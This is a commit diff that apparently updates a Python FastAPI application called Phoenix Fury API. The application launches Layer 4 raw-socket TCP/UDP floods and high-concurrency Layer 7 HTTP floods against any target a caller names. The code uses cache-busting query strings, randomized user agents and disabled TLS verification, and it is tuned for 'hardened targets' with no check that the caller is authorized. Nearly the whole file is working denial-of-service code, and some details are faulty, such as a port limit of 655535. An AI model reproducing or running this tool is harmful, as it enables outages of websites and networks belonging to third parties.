Samuraiog commited on
Commit
d576fb1
·
verified ·
1 Parent(s): 21134c6

Update phoenix_fury_api.py

Browse files
Files changed (1) hide show
  1. phoenix_fury_api.py +21 -46
phoenix_fury_api.py CHANGED
@@ -1,18 +1,14 @@
1
  # ====================================================================================
2
- # PHOENIX FURY API v5.0 - COLOSSUS EDITION
3
  #
4
- # - HYPER-STABLE CONNECTION HANDLING: The L7 worker now forces a new connection
5
- # per request. This is the critical fix for SSL/TLS errors under heavy load
6
- # against defended targets, preventing worker crashes and ensuring max RPS.
7
- # - ADVANCED SSL CONTEXT: Implements a proper, explicit SSL context for the
8
- # most reliable handling of HTTPS targets.
9
- # - PERFORMANCE GUIDANCE: The API now provides warnings and validation for
10
- # process counts, guiding the user towards optimal settings for their hardware
11
- # to prevent CPU thrashing and achieve true maximum throughput.
12
- # - ARCHITECTURALLY SOUND: Built upon the resilient Singleton Manager and
13
- # FastAPI BackgroundTasks from v4.0 for a rock-solid foundation.
14
  #
15
- # *** The definitive, stable, and most powerful version for real-world testing. ***
16
  # ====================================================================================
17
 
18
  import socket
@@ -40,9 +36,9 @@ asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
40
 
41
  # --- Application Setup ---
42
  app = FastAPI(
43
- title="🔥 Phoenix Fury API v5.0 - Colossus Edition",
44
  description="The definitive high-performance L4/L7 stress testing tool. Re-engineered for maximum stability and throughput against hardened targets.",
45
- version="5.0.0"
46
  )
47
 
48
  # --- Constants & Configuration ---
@@ -60,7 +56,7 @@ HTTP_HEADERS = {"Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-En
60
  # ====================================================================================
61
  class BaseAttackConfig(BaseModel):
62
  target: str = Field(..., description="Target hostname or IP address")
63
- port: int = Field(..., ge=1, le=65535, description="Target port")
64
  duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
65
  processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Defaults to {CPU_COUNT * 2}.")
66
 
@@ -76,7 +72,10 @@ class L4TCPConfig(BaseAttackConfig):
76
  class L4UDPConfig(BaseAttackConfig):
77
  payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload in bytes.")
78
 
79
- class L7Config(BaseAttack_config = BaseModel):
 
 
 
80
  concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
81
  method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
82
  path: str = Field("/", description="Request path")
@@ -112,8 +111,6 @@ def calculate_checksum(data: bytes) -> int:
112
  # ====================================================================================
113
  # ATTACK WORKER PROCESSES (L4 & L7)
114
  # ====================================================================================
115
-
116
- # --- Layer 4 Worker (Unchanged, already optimized) ---
117
  def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
118
  try:
119
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
@@ -152,56 +149,34 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
152
  with shared_counter.get_lock(): shared_counter.value += local_counter
153
  sock.close()
154
 
155
- # --- Layer 7 Worker (Re-engineered for Stability) ---
156
  async def l7_session_worker(session: aiohttp.ClientSession, url: str, method: str, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
157
- """The core task for a single persistent async worker."""
158
  local_counter = 0
159
  while not stop_event.is_set():
160
  try:
161
- # Use a fresh connection for each request for maximum stability
162
  async with session.request(method, f"{url}?{random.randint(1, 99999999)}"):
163
  local_counter += 1
164
- except (aiohttp.ClientError, asyncio.TimeoutError):
165
- # We expect errors in a stress test, count them as an attempt
166
- local_counter += 1
167
- except Exception:
168
- # Catch any other unexpected errors to keep the worker alive
169
  local_counter += 1
170
  finally:
171
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
172
  with shared_counter.get_lock(): shared_counter.value += local_counter
173
  local_counter = 0
174
- await asyncio.sleep(0) # Immediately yield to the event loop
175
-
176
- # Final count update before exiting
177
  if local_counter > 0:
178
  with shared_counter.get_lock(): shared_counter.value += local_counter
179
 
180
  async def l7_worker_main(url: str, method: str, concurrency: int, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
181
- """Sets up the aiohttp session and spawns worker tasks."""
182
  headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}
183
-
184
- # CRITICAL FIX: Create a proper SSL context that does not verify certificates
185
  ssl_context = ssl.create_default_context()
186
  ssl_context.check_hostname = False
187
  ssl_context.verify_mode = ssl.CERT_NONE
188
-
189
- # CRITICAL FIX: The connector is the key to stability.
190
- # force_close=True prevents reusing connections that the server may have
191
- # already terminated, which was the cause of the fatal SSL errors.
192
- connector = aiohttp.TCPConnector(
193
- limit=None,
194
- force_close=True, # This is the main fix for stability under hostile conditions
195
- ssl=ssl_context
196
- )
197
-
198
  timeout = aiohttp.ClientTimeout(total=10, connect=5)
199
  async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
200
  tasks = [l7_session_worker(session, url, method, stop_event, shared_counter) for _ in range(concurrency)]
201
  await asyncio.gather(*tasks)
202
 
203
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
204
- """The entry point for a single L7 worker process."""
205
  protocol = "https" if port in [443, 8443, 4433] else "http"
206
  url = f"{protocol}://{target_ip}:{port}{path}"
207
  print(f"[PID {os.getpid()}] L7 Worker started for {url}")
@@ -272,7 +247,7 @@ class AttackManager:
272
  worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.payload_size)
273
  self.attack_type = attack_name
274
 
275
- print("="*60 + f"\n🔥 PHOENIX FURY COLOSSUS - ATTACK SEQUENCE INITIATED 🔥\n" +
276
  f" Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
277
  f" Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)
278
 
@@ -315,7 +290,7 @@ MANAGER = AttackManager()
315
  # ====================================================================================
316
  @app.on_event("startup")
317
  def on_startup():
318
- print("="*50 + "\n🔥 Phoenix Fury API v5.0 - Colossus Edition is ready.")
319
  print(f" Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
320
  if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
321
  else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
@@ -352,7 +327,7 @@ def api_stop_attack():
352
  def get_status(): return MANAGER.get_status()
353
 
354
  @app.get("/")
355
- def root(): return {"message": "🔥 Phoenix Fury API v5.0 - Colossus Edition", "docs": "/docs"}
356
 
357
  # --- Main Execution ---
358
  if __name__ == "__main__":
 
1
  # ====================================================================================
2
+ # PHOENIX FURY API v5.1 - PRODUCTION RELEASE
3
  #
4
+ # - CRITICAL FIX: Corrected a fatal typo in the L7Config Pydantic model that
5
+ # prevented the application from starting.
6
+ # - HYPER-STABLE: Retains the robust connection handling (force_close=True) and
7
+ # proper SSL context to prevent crashes under extreme load.
8
+ # - PERFORMANCE TUNED: Architected for maximum PPS/RPS with a Singleton Manager,
9
+ # shared memory counters, and performance guidance in the API.
 
 
 
 
10
  #
11
+ # *** This is the definitive, stable, and fully functional version. ***
12
  # ====================================================================================
13
 
14
  import socket
 
36
 
37
  # --- Application Setup ---
38
  app = FastAPI(
39
+ title="🔥 Phoenix Fury API v5.1 - Production Release",
40
  description="The definitive high-performance L4/L7 stress testing tool. Re-engineered for maximum stability and throughput against hardened targets.",
41
+ version="5.1.0"
42
  )
43
 
44
  # --- Constants & Configuration ---
 
56
  # ====================================================================================
57
  class BaseAttackConfig(BaseModel):
58
  target: str = Field(..., description="Target hostname or IP address")
59
+ port: int = Field(..., ge=1, le=655535, description="Target port")
60
  duration: int = Field(..., ge=10, le=7200, description="Attack duration in seconds")
61
  processes: int = Field(CPU_COUNT * 2, ge=1, le=CPU_COUNT * 16, description=f"Number of processes. Defaults to {CPU_COUNT * 2}.")
62
 
 
72
  class L4UDPConfig(BaseAttackConfig):
73
  payload_size: int = Field(1024, ge=0, le=1472, description="Size of UDP payload in bytes.")
74
 
75
+ #
76
+ # >>>>> CRITICAL FIX IS HERE <<<<<
77
+ #
78
+ class L7Config(BaseAttackConfig): # Corrected from `BaseAttack_config = BaseModel`
79
  concurrency_per_process: int = Field(1024, ge=1, le=16384, description="Concurrent async tasks per process.")
80
  method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
81
  path: str = Field("/", description="Request path")
 
111
  # ====================================================================================
112
  # ATTACK WORKER PROCESSES (L4 & L7)
113
  # ====================================================================================
 
 
114
  def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
115
  try:
116
  sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
 
149
  with shared_counter.get_lock(): shared_counter.value += local_counter
150
  sock.close()
151
 
 
152
  async def l7_session_worker(session: aiohttp.ClientSession, url: str, method: str, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
 
153
  local_counter = 0
154
  while not stop_event.is_set():
155
  try:
 
156
  async with session.request(method, f"{url}?{random.randint(1, 99999999)}"):
157
  local_counter += 1
158
+ except:
 
 
 
 
159
  local_counter += 1
160
  finally:
161
  if local_counter >= STATS_BATCH_UPDATE_SIZE:
162
  with shared_counter.get_lock(): shared_counter.value += local_counter
163
  local_counter = 0
164
+ await asyncio.sleep(0)
 
 
165
  if local_counter > 0:
166
  with shared_counter.get_lock(): shared_counter.value += local_counter
167
 
168
  async def l7_worker_main(url: str, method: str, concurrency: int, stop_event: multiprocessing.Event, shared_counter: multiprocessing.Value):
 
169
  headers = {**HTTP_HEADERS, "User-Agent": random.choice(USER_AGENTS)}
 
 
170
  ssl_context = ssl.create_default_context()
171
  ssl_context.check_hostname = False
172
  ssl_context.verify_mode = ssl.CERT_NONE
173
+ connector = aiohttp.TCPConnector(limit=None, force_close=True, ssl=ssl_context)
 
 
 
 
 
 
 
 
 
174
  timeout = aiohttp.ClientTimeout(total=10, connect=5)
175
  async with aiohttp.ClientSession(connector=connector, headers=headers, timeout=timeout) as session:
176
  tasks = [l7_session_worker(session, url, method, stop_event, shared_counter) for _ in range(concurrency)]
177
  await asyncio.gather(*tasks)
178
 
179
  def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
 
180
  protocol = "https" if port in [443, 8443, 4433] else "http"
181
  url = f"{protocol}://{target_ip}:{port}{path}"
182
  print(f"[PID {os.getpid()}] L7 Worker started for {url}")
 
247
  worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.payload_size)
248
  self.attack_type = attack_name
249
 
250
+ print("="*60 + f"\n🔥 PHOENIX FURY - PRODUCTION RELEASE - ATTACK INITIATED 🔥\n" +
251
  f" Type: {self.attack_type} | Target: {self.target_host}:{self.port} ({self.target_ip})\n" +
252
  f" Duration: {self.duration}s | Processes: {self.process_count}\n" + "="*60)
253
 
 
290
  # ====================================================================================
291
  @app.on_event("startup")
292
  def on_startup():
293
+ print("="*50 + "\n🔥 Phoenix Fury API v5.1 - Production Release is ready.")
294
  print(f" Detected {CPU_COUNT} logical CPU cores. Recommended max processes: {CPU_COUNT * 4}.")
295
  if check_root(): print("✅ Running with root privileges. Layer 4 attacks are ENABLED.")
296
  else: print("⚠️ WARNING: Not running with root privileges. Layer 4 attacks will FAIL.")
 
327
  def get_status(): return MANAGER.get_status()
328
 
329
  @app.get("/")
330
+ def root(): return {"message": "🔥 Phoenix Fury API v5.1 - Production Release", "docs": "/docs"}
331
 
332
  # --- Main Execution ---
333
  if __name__ == "__main__":